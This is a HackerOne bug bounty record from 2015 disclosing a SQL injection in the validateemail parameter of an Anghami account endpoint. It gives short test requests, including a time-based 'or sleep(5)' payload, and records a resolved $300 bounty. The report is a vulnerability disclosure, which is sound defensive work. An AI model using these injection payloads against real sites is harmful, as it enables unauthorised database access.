{"id": "H1:86468", "type": "hackerone", "bulletinFamily": "bugbounty", "title": "Anghami: [https://www.anghami.com/updatemailinfo/] Sql Injection", "description": "Hi , \r\n\r\nI'd like to report a sql injection issue, first you need to be logged in in order to exploit this issue . \r\nThe vulnerable parameter is **validateemail** . \r\n\r\n####some tests\r\nvalidateemail=sdfsdf@sdfsd.com&phoneormail= => Please Check Your email to verify\r\nvalidateemail=sdfsdf@sdfsd.com'&phoneormail= => *message dissapeared\r\nvalidateemail=sdfsdf@sdfsd.com''&phoneormail= => Please Check Your email to verify\r\nvalidateemail=test@yopmail.com' or sleep(5) #&sid=0&lang=en&phoneormail= => server timeout\r\n###POC\r\n\r\ndb version : MySQL 5.0.11\r\n\r\nyou can find a screenshot from sqlmap scan confirming the issue . \r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n ", "published": "2015-09-01T14:51:06", "modified": "2015-10-02T11:49:34", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://hackerone.com/reports/86468", "reporter": "jayden", "references": [], "cvelist": [], "lastseen": "2018-04-19T17:34:09", "viewCount": 13, "enchantments": {"score": {"value": 0.4, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.4}, "bounty": 300.0, "bountyState": "resolved", "h1team": {"profile_picture_urls": {"small": "https://profile-photos.hackerone-user-content.com/000/003/079/b263ed22fef998a7adfefc17018d216cc453137e_small.png?1438862042", "medium": "https://profile-photos.hackerone-user-content.com/000/003/079/2bb287f74b6e586e4972672619b3f8f2a612231d_medium.png?1438862042"}, "url": "https://hackerone.com/anghami", "handle": "anghami"}, "h1reporter": {"hacker_mediation": false, "username": "jayden", "hackerone_triager": false, "profile_picture_urls": {"small": "/assets/avatars/default-71a302d706457f3d3a31eb30fa3e73e6cf0b1d677b8fa218eaeaffd67ae97918.png"}, "disabled": true, "url": "/jayden", "is_me?": false}, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645269903}}

{}